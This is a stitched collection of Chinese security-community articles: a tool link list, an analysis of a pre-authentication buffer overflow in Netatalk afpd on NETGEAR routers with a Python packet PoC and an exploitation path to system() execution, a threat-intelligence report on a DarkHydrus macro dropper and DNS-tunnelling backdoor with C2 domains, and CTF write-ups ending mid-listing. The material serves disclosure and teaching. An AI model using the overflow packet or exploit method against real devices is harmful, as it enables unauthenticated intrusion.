[https://www.youtube.com/watch?v=ZUXP9ZbPv9s&ab_channel=GynvaelEN](https://www.youtube.com/watch?v=ZUXP9ZbPv9s&ab_channel=GynvaelEN)
【Tools】社区维护的在线手册
<http://tldr.sh/>
【Tools】pestudio 8.70发布
<https://winitor.com/binaries.html>
【Tools】记录和组织信息搜集工具输出的工具
<https://github.com/jobertabma/recon.sh>
【Tools】解密Scapy packets的radare2插件
<https://github.com/guedou/r2scapy/blob/master/README.md>
渗透测试的一些备忘录
<http://pentestmonkey.net/category/cheat-sheet>
SCADA Hacking: SCADA Protocols (DNP3)
<https://www.hackers-arise.com/single-post/2017/02/10/SCADA-Hacking-SCADA-Prortocols-DNP3> | 社区文章 |
**作者：cq674350529
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：[email protected]**
### 前言
2022年11月，`SSD`发布了一个与`NETGEAR R7800`型号设备相关的[漏洞公告](https://ssd-disclosure.com/ssd-advisory-netgear-r7800-afpd-preauth/)。根据该公告，该漏洞存在于`Netatalk`组件(对应的服务程序为`afpd`)中，由于在处理接收的`DSI`数据包时，缺乏对数据包中某些字段的适当校验，在`dsi_writeinit()`中调用`memcpy()`时存在缓冲区溢出问题。利用该漏洞，攻击者可以在目标设备上实现任意代码执行，且无需认证。该漏洞公告中包含了漏洞的细节以及利用思路，但给出的`poc`脚本仅实现了控制流的劫持，缺少后续代码执行的部分。下面将基于`R8500`型号设备，对漏洞进行简单分析，并给出具体的利用方式。
### 漏洞分析
`Netatalk`组件在很多`NAS`设备或小型路由器设备中都有应用，近几年吸引了很多安全研究人员的关注，陆续被发现存在多个高危漏洞，例如在近几年的Pwn2Own比赛中，好几个厂商的设备由于使用了该组件而被攻破，`NETGEAR`厂商的部分路由器设备也不例外。
> `NETGEAR`厂商的很多路由器中使用的是很老版本的`Netatalk`组件
该公告中受影响的目标设备为`R7800 V1.0.2.90`版本，而我手边有一个`R8500`型号的设备，在`R8500
V1.0.2.160`版本中去掉了该组件，因此将基于`R8500
V1.0.2.154`版本进行分析。在`NETGEAR`厂商的[GPL页面](https://kb.netgear.com/2649/NETGEAR-Open-Source-Code-for-Programmers-GPL)，下载对应设备版本的源代码，其中包含`Netatalk`组件的源码，可以直接结合源码进行分析。以`R8500
V1.0.2.154`版本为例，其包含的`Netatalk`组件的版本为`2.2.5`，而该版本发布的时间在2013年，为一个很老的版本。
`AFP`协议建立在[`Data Stream
Interface(DSI)`](https://en.wikipedia.org/wiki/Data_Stream_Interface)之上，`DSI`是一个会话层，用于在`TCP`层上承载`AFP`协议的流量。在正常访问该服务时，大概的协议交互流程如下。
其中，
在`DSIOpenSession`请求执行成功后，后续将发送`DSICommand`请求，而处理该请求的代码存在于`afp_over_dsi()`中，部分代码片段如下。正常情况下，程序会在`(1)`处读取对应的请求数据包，之后在`(2)`处根据`cmd`的取值进入不同的处理分支。
void afp_over_dsi(AFPObj *obj)
{
/* ... */
/* get stuck here until the end */
while (1) {
/* Blocking read on the network socket */
cmd = dsi_stream_receive(dsi); // (1)
/* ... */
switch(cmd) { // (2)
case DSIFUNC_CLOSE:
/* ...*/
case DSIFUNC_TICKLE:
/* ... */
case DSIFUNC_CMD:
/* ... */
case DSIFUNC_WRITE:
/* ... */
case DSIFUNC_ATTN:
/* ... */
default:
LOG(log_info, logtype_afpd,"afp_dsi: spurious command %d", cmd);
dsi_writeinit(dsi, dsi->data, DSI_DATASIZ); // (3)
/* ... */
函数`dsi_stream_receive()`的部分代码如下。可以看到，其会读取请求包中的数据，并保存到`dsi->header`和`dsi->commands`等中。
int dsi_stream_receive(DSI *dsi)
{
/* ... */
/* read in the header */
if (dsi_buffered_stream_read(dsi, (u_int8_t *)block, sizeof(block)) != sizeof(block))
return 0;
dsi->header.dsi_flags = block[0];
dsi->header.dsi_command = block[1];
/* ... */
memcpy(&dsi->header.dsi_requestID, block + 2, sizeof(dsi->header.dsi_requestID));
memcpy(&dsi->header.dsi_code, block + 4, sizeof(dsi->header.dsi_code));
memcpy(&dsi->header.dsi_len, block + 8, sizeof(dsi->header.dsi_len));
memcpy(&dsi->header.dsi_reserved, block + 12, sizeof(dsi->header.dsi_reserved));
dsi->clientID = ntohs(dsi->header.dsi_requestID);
/* make sure we don't over-write our buffers. */
dsi->cmdlen = min(ntohl(dsi->header.dsi_len), DSI_CMDSIZ);
if (dsi_stream_read(dsi, dsi->commands, dsi->cmdlen) != dsi->cmdlen)
return 0;
/* ... */
在`afp_over_dsi()`中，在`(2)`处，如果`cmd`的取值不满足对应的条件，将会进入`default`分支，`dsi_writeinit()`函数将在`(3)`处被调用。函数`dsi_writeinit()`的部分代码如下。在该函数中，会根据`dsi->header.dsi_code`和`dsi->header.dsi_len`等字段来计算`dsi->datasize`，若其满足条件，则会在`(4)`处调用`memcpy()`。其中，`len`参数与`sizeof(dsi->commands)
- header` 和 `dsi->datasize`等相关。
size_t dsi_writeinit(DSI *dsi, void *buf, const size_t buflen _U_)
{
size_t len, header;
/* figure out how much data we have. do a couple checks for 0
* data */
header = ntohl(dsi->header.dsi_code);
dsi->datasize = header ? ntohl(dsi->header.dsi_len) - header : 0;
if (dsi->datasize > 0) {
len = MIN(sizeof(dsi->commands) - header, dsi->datasize);
/* write last part of command buffer into buf */
memcpy(buf, dsi->commands + header, len); // (4) buffer overflow
/* .. */
根据前面`dsi_stream_receive()`的代码可知，`dsi->header.dsi_code`和`dsi->header.dsi_len`字段的值来自于接收的数据包，`dsi->commands`中的内容也来自于接收的数据包。也就是说，在调用`memcpy()`时，源缓冲区中保存的内容和待拷贝的长度参数均是用户可控的，而目标缓冲区`buf`即`dsi->data`的大小是固定的。因此，通过精心伪造一个数据包，可造成在调用`memcpy()`时出现缓冲区溢出，如下。
def create_block(command, dsi_code, dsi_len):
block = b'\x00' # dsi->header.dsi_flags
block += struct.pack("<B", command) # dsi->header.dsi_command
block += b'\x00\x00' # dsi->header.dsi_requestID
block += struct.pack(">I", dsi_code) # dsi->header.dsi_code
block += struct.pack(">I", dsi_len) # dsi->header.dsi_len
block += b'\x00\x00\x00\x00' # dsi->header.dsi_reserved
return block
pkt = create_block(0xFF, 0xFFFFFFFF - 0x50, 0x2001 + 0x20)
pkt += b'A' * 8192
### 漏洞利用
首先，看一下`DSI`结构体的定义， 如下。`dsi->data`的大小为`8192`，在发生溢出后，其后面的字段也会被覆盖，
包括`proto_open`和`proto_close`两个函数指针。因此，如果溢出后，后面的流程中会用到某个函数指针，就可以实现控制流劫持的目的。
#define DSI_CMDSIZ 8192
#define DSI_DATASIZ 8192
typedef struct DSI {
/* ... */
u_int32_t attn_quantum, datasize, server_quantum;
u_int16_t serverID, clientID;
char *status;
u_int8_t commands[DSI_CMDSIZ], data[DSI_DATASIZ];
size_t statuslen;
size_t datalen, cmdlen;
off_t read_count, write_count;
uint32_t flags; /* DSI flags like DSI_SLEEPING, DSI_DISCONNECTED */
const char *program;
int socket, serversock;
/* protocol specific open/close, send/receive
* send/receive fill in the header and use dsi->commands.
* write/read just write/read data */
pid_t (*proto_open)(struct DSI *);
void (*proto_close)(struct DSI *);
/* ... */
} DSI;
回到`afp_over_dsi()`函数，在`while`循环中其会调用`dsi_stream_receive()`来读取对应的数据包。如果后续没有数据包了，则返回的`cmd`值为`0`，根据对应的`dsi->flags`，其会调用`afp_dsi_close()`
或
`dsi_disconnect()`，而这两个函数最终都会执行`dsi->proto_close(dsi)`。也就是说，在后续的正常流程中会使用函数指针`dsi->proto_close`，因此，通过溢出来修改该指针，即可劫持程序的控制流。
void afp_over_dsi(AFPObj *obj)
{
/* ... */
/* get stuck here until the end */
while (1) {
/* Blocking read on the network socket */
cmd = dsi_stream_receive(dsi); // (1)
if (cmd == 0) {
/* the client sometimes logs out (afp_logout) but doesn't close the DSI session */
if (dsi->flags & DSI_AFP_LOGGED_OUT) {
LOG(log_note, logtype_afpd, "afp_over_dsi: client logged out, terminating DSI session");
afp_dsi_close(obj);
exit(0);
}
if (dsi->flags & DSI_RECONINPROG) {
LOG(log_note, logtype_afpd, "afp_over_dsi: failed reconnect");
afp_dsi_close(obj);
exit(0);
}
if (dsi->flags & DSI_RECONINPROG) {
LOG(log_note, logtype_afpd, "afp_over_dsi: failed reconnect");
afp_dsi_close(obj);
exit(0);
}
/* Some error on the client connection, enter disconnected state */
if (dsi_disconnect(dsi) != 0)
afp_dsi_die(EXITERR_CLNT);
}
/* ... */
void dsi_close(DSI *dsi)
{
/* server generated. need to set all the fields. */
if (!(dsi->flags & DSI_SLEEPING) && !(dsi->flags & DSI_DISCONNECTED)) {
dsi->header.dsi_flags = DSIFL_REQUEST;
dsi->header.dsi_command = DSIFUNC_CLOSE;
dsi->header.dsi_requestID = htons(dsi_serverID(dsi));
dsi->header.dsi_code = dsi->header.dsi_reserved = htonl(0);
dsi->cmdlen = 0;
dsi_send(dsi);
dsi->proto_close(dsi); // hijack control flow
/* ... */
基于前面构造的数据包，在劫持控制流时，对应的上下文如下。可以看到，`R3`寄存器的值已被覆盖，`R4`和`R5`寄存器可控，同时`R0`和`R2`中包含指向`DSI`结构体的指针。
──────────────────────────────────────────────────────────────────────────────────── code:arm:ARM ────
0x6a2cc <dsi_close+272> movw r3, #16764 ; 0x417c
0x6a2d0 <dsi_close+276> ldr r3, [r2, r3]
0x6a2d4 <dsi_close+280> ldr r0, [r11, #-8] ; r0: points to dsi
●→ 0x6a2d8 <dsi_close+284> blx r3
0x6a2dc <dsi_close+288> ldr r0, [r11, #-8]
0x6a2e0 <dsi_close+292> bl 0x112c4 <free@plt>
0x6a2e4 <dsi_close+296> sub sp, r11, #4
0x6a2e8 <dsi_close+300> pop {r11, pc}
───────────────────────────────────────────────────────────────────────────── arguments (guessed) ────
*0x61616161 (
$r0 = 0x0e8498 → 0x0e1408 → 0x00000002,
$r1 = 0x000001,
$r2 = 0x0e8498 → 0x0e1408 → 0x00000002,
$r3 = 0x61616161
)
─────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x6a2d8 → dsi_close()
[#1] 0x1225c → afp_dsi_close()
[#2] 0x13994 → afp_over_dsi()
[#3] 0x116c8 → dsi_start()
[#4] 0x3f5f8 → main()
──────────────────────────────────────────────────────────────────────────────────────────────────────
gef? i r
r0 0xe8498 0xe8498
r1 0x1 0x1
r2 0xe8498 0xe8498
r3 0x61616161 0x61616161
r4 0x58585858 0x58585858
r5 0x43385858 0x43385858
r6 0x7 0x7
r7 0xbec72f65 0xbec72f65
r8 0x10a3c 0x10a3c
r9 0x3e988 0x3e988
r10 0xbec72df8 0xbec72df8
r11 0xbec72c3c 0xbec72c3c
r12 0x401e0edc 0x401e0edc
sp 0xbec72c30 0xbec72c30
lr 0x6fffc 0x6fffc
pc 0x6a2d8 0x6a2d8 <dsi_close+284>
程序`afpd`启用的缓解机制如下，同时设备上的`ASLR`
级别为`1`。`DSI`结构体在堆上分配，故发送的数据包均存在于堆上，因此需要基于该上下文，找到合适的`gadgets`完成利用。
cq@ubuntu:~$ checksec --file ./afpd
Arch: arm-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)
通过对`afpd`程序进行分析，最终找到一个可用的`gadget`，如下。其中，`[R11-0x8]`中的值指向`DSI`结构体，整个执行的效果等价于`[dsi]
= [dsi + 0x2834]; func_ptr = [dsi + 0x2830];
func_ptr([dsi])`。因为`DSI`结构体的地址是固定的，且偏移`0x2834`处的内容可控，通过精心构造数据包，可实现执行`system(arbitrary_cmd)`的效果。
> 针对不同型号的设备，具体的上下文可能不同，利用可能更简单或更麻烦。
最终效果如下。
### 小结
本文基于`R8500`型号设备，对其使用的`Netatalk`组件中存在的一个缓冲区溢出漏洞进行了分析。由于在处理接收的`DSI`数据包时，缺乏对数据包中某些字段的适当校验，在`dsi_writeinit()`中调用`memcpy()`时会出现缓冲区溢出。通过覆盖`DSI`结构体中的`proto_close`函数指针，可以劫持程序的控制流，并基于具体的漏洞上下文，实现了代码执行的目的。
### 相关链接
* [SSD ADVISORY – NETGEAR R7800 AFPD PREAUTH](https://ssd-disclosure.com/ssd-advisory-netgear-r7800-afpd-preauth/)
* [NETGEAR Open Source Code for Programmers (GPL)](https://kb.netgear.com/2649/NETGEAR-Open-Source-Code-for-Programmers-GPL)
* * * | 社区文章 |
# 疑似DarkHydrus APT组织针对中东地区的定向攻击活动分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 背景
2019年1月9日，360威胁情报中心捕获到多个专门为阿拉伯语使用者设计的诱饵文档。钓鱼文档为携带恶意宏的Office
Excel文档，恶意宏代码最终会释放执行一个C#编写的后门程序，该后门程序利用了复杂的DNS隧道技术与C2进行通信并执行指令，且通过GoogleDrive
API实现文件的上传下载。
360威胁情报中心经过溯源和关联后确认，这是DarkHydrus APT组织针对中东地区的又一次定向攻击行动。DarkHydrus APT组织是Palo
Alto在2018年7月首次公开披露的针对中东地区政府机构进行定向攻击的APT团伙[1]。而在此之前，360威胁情报中心曾发现并公开过该组织使用SettingContent-ms文件任意代码执行漏洞（CVE-2018-8414）进行在野攻击的样本，并进行了详细分析[2]。
## 时间线
与DarkHydrus APT组织相关的时间线如下：
根据社交网络的反馈，对此团伙卡巴斯基内部的跟踪代号为:LazyMeerka。[4]
## 样本分析
### Dropper（Macros）
MD5 | 5c3f96ade0ea67eef9d25161c64e6f3e
---|---
文件名 | الفهارس.xlsm（indexes. xlsm）
MD5 | 8dc9f5450402ae799f5f8afd5c0a8352
---|---
文件名 | الاطلاع.xlsm（viewing. xlsm）
以下分析均以MD5：5c3f96ade0ea67eef9d25161c64e6f3e的样本为例，诱饵文档是一个Office
Excel文档，名为الفهارس.xlsm（指标.xlsm）。其内嵌VBA宏，当受害者打开文档并启用宏后，将自动执行恶意宏代码。
该恶意宏代码的功能为释放WINDOWSTEMP.ps1和12-B-366.txt文件到%TEMP%目录，最后使用regsvr32.exe启动12-B-366.txt文件：
实际上12-B-366.txt是一个HTA（HTML应用程序）文件，该文件用于启动释放出来的PowerShell脚本：%TEMP%\\\
WINDOWSTEMP.ps1
WINDOWSTEMP.ps1脚本内容如下，该PowerShell脚本使用Base64和gzip解码和解压缩脚本里的content，然后写入到文件：%TEMP%\\\OfficeUpdateService.exe，最后运行%TEMP%\\\OfficeUpdateService.exe：
### Backdoor（OfficeUpdateService.exe）
MD5 | b108412f1cdc0602d82d3e6b318dc634
---|---
文件名 | OfficeUpdateService.exe
PDB路径 | C:\Users\william\Documents\Visual Studio
2015\Projects\DNSProject\DNSProject\obj\Release\DNSProject.pdb
编译信息 | Jan 08 14:26:53 2019 Microsoft Visual C# v7.0 / Basic .NET (managed)
释放执行的后门程序使用C#编写：
样本PDB路径信息和其使用的通信技术有很强的关联性，指示其使用了DNS相关的技术：
C:\Users\william\Documents\Visual Studio
2015\Projects\DNSProject\DNSProject\obj\Release\DNSProject.pdb
---
后门程序运行后会先检查参数是否包含“st:off”和“pd:off”，如果包含“st:off”则不会写启动项，如果包含“pd:off”则不会释放PDF文件。随后检测是否运行在虚拟机、沙箱中，或者是否被调试等，通过这些检查后最终执行恶意代码：
写入启动项的持久化操作：
释放诱饵PDF文件：
执行虚拟机、沙箱检测以及反调试等操作：
紧接着获取主机信息：
然后通过DNS隧道发送搜集到的主机信息，其中DNS隧道通信部分封装到queryTypesTest函数中：
最后进入命令分发循环, 该命令分发流程首先判断是否是x_mode模式，如果不是，则通过DNS隧道技术与C2通信获取需要执行的指令，否则通过HTTP传输数据：
与C2通过DNS隧道建立通信，并解析返回的数据，然后提取指令，最后通过taskHandler函数分发指令：
以下是部分指令截图：
值得注意的是，^\\\$x_mode指令将设置文件上传下载的服务器，服务器地址通过DNS隧道获取：
其中一个样本指定了服务器为Google Drive服务器：
https://www.googleapis.com/upload/drive/v3/files/” + file_id +
“?supportsTeamDrive=true&uploadType=resumable&fields=kind,id,name,mimeType,parents
---
所有命令列表如下：
命令
|
功能
---|---
^kill | 结束线程？进程
^\\\$fileDownload | 文件下载
^\\\$importModule | 获取进程模块
^\\\$x_mode | 采用x_mode模式，此模式设置RAT服务器，然后采用HTTP发送RAT数据
^\\\$ClearModules | 卸载模块
^\\\$fileUpload | 文件上载
^testmode | 测试某个模块
^showconfig | 获取配置信息
^changeConfig | 更改配置
^slp | 睡眠一段时间
^exit | 退出进程
### DNS隧道通信分析
DNS隧道通信技术是指通过DNS查询过程来建立通信隧道。该通信方式有极强的隐蔽性，容易穿透各种流量网关的检测。
实现DNS隧道通信技术主要有两种方法：
1. 指定DNS服务器实现DNS隧道通信
2. 通过域名提供商提供的接口修改NS记录，将解析域名的DNS服务器指定为攻击者的DNS服务器，接管域名的DNS解析请求
本文所描述的后门程序OfficeUpdateService.exe使用的则是第二种方式实现DNS隧道通信，其主要原理为修改木马程序需要解析的域名的NS记录，由于DNS解析过程会首先尝试向NS记录指定的DNS服务器请求解析域名，所以NS记录指定的DNS服务器能收到DNS查询请求以及附带的数据。如果域名对应的NS记录中的DNS服务器是由攻击者控制的，那么攻击者就可以通过该DNS服务器与木马程序通过DNS查询建立起特殊的通信渠道。
木马程序请求的域名列表如下：
**设置NS记录**
NS（Name Server）记录是域名服务器记录，用来指定该域名由哪个DNS服务器来进行解析。
攻击者首先将相关域名的NS记录修改为了攻击者控制的DNS服务器，攻击者指定用于解析相关域名的NS服务器为：tvs1.trafficmanager.live
, tvs2.trafficmanager.live，我们通过nslookup可以查询得到：
样本再通过本机的nslookup程序向相关域名提交请求，而由于这些域名的NS记录被指定为了攻击者的DNS服务器（tvs1.trafficmanager.live），故nslookup提交的查询信息会被发送给攻击者的DNS服务器，然后读取DNS服务器返回的信息进行数据交互。所以样本其实是在和攻击者控制的DNS服务器进行最终的通信。
样本使用nslookup解析域名并附带以下参数：timeout（请求超时时间）、q（DNS请求类型）：
**发送上线请求并获取执行指令**
木马会根据不同的查询类型，使用不同的正则表达式去匹配DNS服务器返回的结果数据：
比如执行nslookup并使用查询类型为A进行查询，最终使用以下正则表达式匹配返回的数据结果：
而样本首先会通过向攻击者控制的DNS服务器发送DNS查询请求来发送当前木马的上线ID给攻击者：首先获取当前的进程ID，并与请求查询的域名组成一个二级域名，依次使用nslookup指定DNS的查询类型发送DNS查询信息：
接着根据当前DNS请求的类型分别用不同的正则表达式规则匹配其返回的数据结果，并取取其中的数据：
我们手动模拟使用TXT查询请求并上传木马ID的过程如下：
首先我们构造一个二级域名：ajpinc.akamaiedge.live，二级域名ajpinc中的a代表第一次请求，末尾的c代表结尾，a和c之间是编码过后的当前进程ID。然后我们使用nslookup发送该请求，执行的效果如下：
而木马程序会使用以下正则表达式来匹配返回的数据结果：(\\\w+).(akdns.live|akamaiedge.live|edgekey.live|akamaized.live)
该正则表达式会匹配上述结果中的ajpinc和ihn字符串，然后将ihn通过指定的解码函数解码得到“107”，解码函数如下：
最后获取当前的配置信息，再通过DNS协议传输给攻击者控制的DNS服务器，并持续发送DNS请求，最终分别使用不同的正则表达式来匹配返回的结果，获取下一步需要执行的指令。
**数据匹配规则**
样本主要使用的DNS查询类型如下：
A
---
AAAA
AC
CNAME
TXT
SRV
SOA
MX
木马会根据不同的查询类型，使用不同的正则表达式去匹配攻击者的DNS服务器返回的结果数据：
比如执行nslookup并使用查询类型AC得到返回的数据，并使用以下正则表达式匹配返回的数据结果：
使用查询类型为AAAA得到的数据使用以下正则表达式匹配返回的数据结果：
使用其他DNS查询类型得到的数据使用以下正则表达式匹配返回的数据结果：
样本所使用的DNS查询类型及返回数据对应匹配的正则表达式如下：
DNS查询类型 | 匹配结果的正则表达式
---|---
A | Address:\\\s+(\\\d+.\\\d+.\\\d+.\\\d+)
AC | ([^r-v\\\s]+)[r-v]([\\\w\\\d+\\\/=]+)-\\\w+.(<C2DOMIAN>)
AAAA | Address:\\\s+(([a-fA-F0-9]{0,4}:{1,4}[\\\w|:]+){1,8})
CNAME、TXT、SRV、SOA、MX |
([^r-v\\\s]+)[r-v]([\\\w\\\d+\\\/=]+)-\\\w+.(<C2DOMIAN>)和(\\\w+).(<C2DOMIAN>)
如果当返回的DNS请求结果中被”216.58.192.174|2a00:1450:4001:81a::200e|2200::|download.microsoft.com|ntservicepack.microsoft.com|windowsupdate.microsoft.com|update.microsoft.com”正则表达式命中，则代表请求被取消，则不会执行后续的操作：
## 溯源与关联
360威胁情报中心通过对样本详细分析后发现，此次攻击的幕后团伙疑似为DarkHydrus APT组织，部分关联依据如下。
### 样本使用DNS隧道进行通信
与之前Palo Alto披露[2]的木马类似的，都使用了相同的DNS隧道通信技术：
### 高度一致的沙箱检测代码和后门功能代码
几乎完全一致的虚拟机、沙箱检测代码：
恶意代码相似度极高，木马功能也高度相似：
### 拓展
有趣的是，我们关联到某个Twitter用户@darkhydrus2的昵称为Steve
Williams，该用户名与DarkHydrus吻合，且昵称williams与此次C#编写的木马程序的PDB路径又有些关联：
## 总结
从近年来的高级攻击事件分析中可以看出，由于利用Office 0day等漏洞进行攻击的成本较高，多数攻击者更趋向于利用Office
VBA宏执行恶意代码。企业用户应尽可能小心打开来源不明的文档，如有需要可通过打开Office文档中的：文件-选项-信任中心-信任中心设置-宏设置，来禁用一切宏代码执行：
目前，基于360威胁情报中心的威胁情报数据的全线产品，包括360威胁情报平台（TIP）、天眼高级威胁检测系统、360
NGSOC等，都已经支持对此类攻击的精确检测。
## IOC
MD5
---
5c3f96ade0ea67eef9d25161c64e6f3e
8dc9f5450402ae799f5f8afd5c0a8352
b108412f1cdc0602d82d3e6b318dc634
039bd47f0fdb6bb7d68a2428c71f317d
PDB路径
C:\Users\william\Documents\Visual Studio
2015\Projects\DNSProject\DNSProject\obj\Release\DNSProject.pdb
CC地址
0ffice365.life
0ffice365.services
0nedrive.agency
akamai.agency
akamaiedge.live
akamaiedge.services
akamaized.live
akdns.live
azureedge.today
cloudfronts.services
corewindows.agency
edgekey.live
microsoftonline.agency
nsatc.agency
onedrive.agency
phicdn.world
sharepoint.agency
skydrive.agency
skydrive.services
t-msedge.world
trafficmanager.live
## 参考链接
1. https://ti.360.net/blog/articles/analysis-of-settingcontent-ms-file/
2. https://unit42.paloaltonetworks.com/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/
3. <https://ti.360.net/>
4. https://twitter.com/craiu/status/1083305994652917760 | 社区文章 |
近2年来，安全大赛覆盖的内容越多越多涉及新技术、新业务，如工控、物联网、无线攻防、移动安全、区块链等，大部分选手对此比较陌生。本次技能大赛的精英赛是由CTF个人赛排名靠前的优胜选手参加，其中涉及较多新技术安全内容，整体解题率较低。为熟悉新技术安全的解题思路，对相关初学者的学习有所助益，特整理编写此文。
# easyAPK
直接反编译很容易找到java代码
public static String reChange(String str) {
char[] charArray = str.toCharArray();
int length = charArray.length;
for (int i = 0; i < length / 2; i++) {
char c = charArray[i];
int i2 = (length - 1) - i;
charArray[i] = charArray[i2];
charArray[i2] = c;
}
return String.valueOf(charArray);
}
protected static boolean checkflag(String strIn) {
String[] sArray = strIn.split("_");
Log.i("xxx1", String.format("%d", new Object[]{Integer.valueOf(sArray.length)}));
if (sArray.length == 4 && strIn.length() == 27) {
StringBuilder sb = new StringBuilder();
for (int i = 0; i < sArray.length; i++) {
String reChange = reChange(sArray[i]);
String substring = reChange.substring(0, i + 1);
String substring2 = reChange.substring(i + 1);
String reChange2 = reChange(substring);
String reChange3 = reChange(substring2);
sb.append(reChange2);
sb.append(reChange3);
}
BigInteger m = new BigInteger(sb.toString(), 16);
if (m.pow(65537).mod(new BigInteger("A3332C65844CC6F5E5DABE8DD42FDE39", 16)).toString(16).compareTo("6d14c92d4ae244b583227f1e870f57bc") == 0) {
return true;
}
}
return false;
}
题目大概疑似是flag长度27位，由三个`_`连接而成的字符串，经过字符串一系列转化后得到16进制hash字串，然后进行RSA加密运算，运算结果与固定值进行比较。
逆向思路：
1、对RSA的`n`进行分解，执行RSA解密
2、观察字符串操作的规律，逆向回原始串即可
RSA的加密结果为`0x6d14c92d4ae244b583227f1e870f57bc`,`e=65537`,`n=0xA3332C65844CC6F5E5DABE8DD42FDE39`
利用RSA大数分解工具`n`，如`RsaTool2`，`yafu`等,得到`p=12004517743563056963;q=18070686016358995667`,
解密后得到`cafe2c86588df9d0798304e8`
解密code如下：
p=12004517743563056963
q=18070686016358995667
n=0xA3332C65844CC6F5E5DABE8DD42FDE39
s='6d14c92d4ae244b583227f1e870f57bc'
print n==p*q
import gmpy2
d=gmpy2.invert(65537,(p-1)*(q-1))
c=int(s,16)
m=pow(c,d,n)
print hex(m)[2:]
#cafe2c86588df9d0798304e8
字符串判断运算可看出输入长度为27，其中有3个`_`,共4组，则实际字符应该有24个，解密的字符刚好24个，每组6个hex字符
观察一下程序编码规律，简单逆向即可
简单重写一下编码程序，调试观察一下
def reChange(s):
s=list(s)
for i in range(0,len(s)/2,1):
c=s[i]
s[i]=s[len(s)-1-i]
s[len(s)-1-i]=c
return ''.join(s)
def sencrypt(str):
txt=str.split('_')
res=''
for i in range(len(txt)):
re1=reChange(txt[i])
ss=re1[0:i+1]
ss2=re1[i+1:]
re2=reChange(ss)
re3=reChange(ss2)
#print re1,re2,re3
res+='_'+re2+re3
return res
def sdecrypt(str):
txt=str.split('_')
res=''
for i in range(len(txt)):
c=txt[i]
res+='_'+c[i+1:]+c[:i+1]
return res
print 'abcdef_ghijkl_mnopqr_stuvwx'
print sencrypt('abcdef_ghijkl_mnopqr_stuvwx')[1:]
#abcdef_ghijkl_mnopqr_stuvwx
#fabcde_klghij_pqrmno_uvwxst
可看出按照序号编组（下划线隔开），编码将第n组的后n位和前6-n位拼起来即可，那解码就是将第n组的后6-n位与前n位拼起来即可。
c='cafe2c86588df9d0798304e8'
txt='_'.join(c[i:i+6] for i in range(0,len(c),6))
txt=txt.split('_')
res=''
for i in range(len(txt)):
c=txt[i]
res+='_'+c[i+1:]+c[:i+1]
print res[1:],len(res[1:])
#flag: afe2cc_588d86_079f9d_e88304
# ARM逆向
IDA反编译，找到核心操作
switch ( v6[i + 3672] )
{
case 'a':
LODWORD(v8) = v8 - 1;
break;
case 'd':
LODWORD(v8) = v8 + 1;
break;
case 's':
++HIDWORD(v8);
break;
case 'w':
--HIDWORD(v8);
break;
default:
break;
}
if ( byte_412070[10 * SHIDWORD(v8) + (signed int)v8] )
{
puts("wrong way");
return 0LL;
}
v6[i + 3776] = byte_4120D8[10 * SHIDWORD(v8) + (signed int)v8] + 19;
可看出是个经典的走迷宫操作，程序根据输入的步键走，如果寻找出口即可get flag
密码是个10*10的迷宫,0为道路，1为墙
[[1 0 1 1 1 1 1 1 1 1]
[1 0 0 0 0 0 0 0 0 1]
[1 1 1 1 1 1 1 1 0 1]
[1 0 0 0 0 0 0 0 0 1]
[1 0 1 1 1 1 1 1 1 1]
[1 0 1 0 0 0 1 1 1 1]
[1 0 1 0 1 0 0 1 1 1]
[1 0 1 0 1 1 0 0 1 1]
[1 0 0 0 1 1 1 0 0 1]
[1 1 1 1 1 1 1 1 0 1]]
手动或程序走一下迷宫
startI = 0
startJ = 1
ress=''
def visit(i,j):
global ress
maze[i][j] ='p'
if j+1<sx:
if(maze[i][j+1] == '0'):
ress+='d'
visit(i,j+1)
if i+1<sx:
if(maze[i+1][j] == '0'):
ress+='s'
visit(i+1,j)
if j-1>=0:
if(maze[i][j-1] == '0'):
ress+='a'
visit(i,j-1)
if i-1>=0:
if(maze[i-1][j] == '0'):
ress+='w'
visit(i-1,j)
maze[i][j] ='0'
maze=[]
f='''1011111111
1000000001
1111111101
1000000001
1011111111
1010001111
1010100111
1010110011
1000111001
1111111101'''
for line in f.split('\n'):
mazeline=line
maze.append(list(mazeline))
sx=len(maze)
sy=sx
print "The Result:"
visit(startI,startJ)
print ress
#sdddddddssaaaaaaasssssddwwwddsdsdsds
程序为arm aarch64的程序，直接无法运行，需要安装aarch64运行库
apt-get install qemu-user
apt-get install libc6-arm64-gnu
apt-get install gcc-arm-linux-gnueabi
apt-get install gcc-aarch64-linux-gnu
sudo ln -s /usr/aarch64-linux-gnu/lib/ld-linux-aarch64.so.1 /lib/
export LD_LIBRARY_PATH=/usr/aarch64-linux-gnu/lib/
输入即可got flag
~/temp$ ./bin
sdddddddssaaaaaaasssssddwwwddsdsdsds
flag is=flag{405A5934322E2091C987E7586B544292}
# RootKit取证
题目为linux内存取证，由于vol.py默认只支持windows系列操作系统的内存取证，首先将题目提供的ubuntu1604.zip拷贝到%volatility_dir%/volatility\plugins\linux目录中
再使用`python vol.py --info`
就可以看到profile中添加了一行支持Ubuntu16.04
Profiles
-------- Linuxubuntu1604x64 - A Profile for Linux ubuntu1604 x64
过滤查看一下vol.py支持的linux指令
>python vol.py --info|findstr linux
Volatility Foundation Volatility Framework 2.6
linux_apihooks - Checks for userland apihooks
linux_arp - Print the ARP table
linux_aslr_shift - Automatically detect the Linux ASLR shift
linux_banner - Prints the Linux banner information
linux_bash - Recover bash history from bash process memory
linux_bash_env - Recover a process' dynamic environment variables
linux_bash_hash - Recover bash hash table from bash process memory
linux_check_afinfo - Verifies the operation function pointers of network protocols
linux_check_creds - Checks if any processes are sharing credential structures
linux_check_evt_arm - Checks the Exception Vector Table to look for syscall table hooking
linux_check_fop - Check file operation structures for rootkit modifications
linux_check_idt - Checks if the IDT has been altered
linux_check_inline_kernel - Check for inline kernel hooks
linux_check_modules - Compares module list to sysfs info, if available
linux_check_syscall - Checks if the system call table has been altered
linux_check_syscall_arm - Checks if the system call table has been altered
linux_check_tty - Checks tty devices for hooks
linux_cpuinfo - Prints info about each active processor
linux_dentry_cache - Gather files from the dentry cache
linux_dmesg - Gather dmesg buffer
linux_dump_map - Writes selected memory mappings to disk
linux_dynamic_env - Recover a process' dynamic environment variables
linux_elfs - Find ELF binaries in process mappings
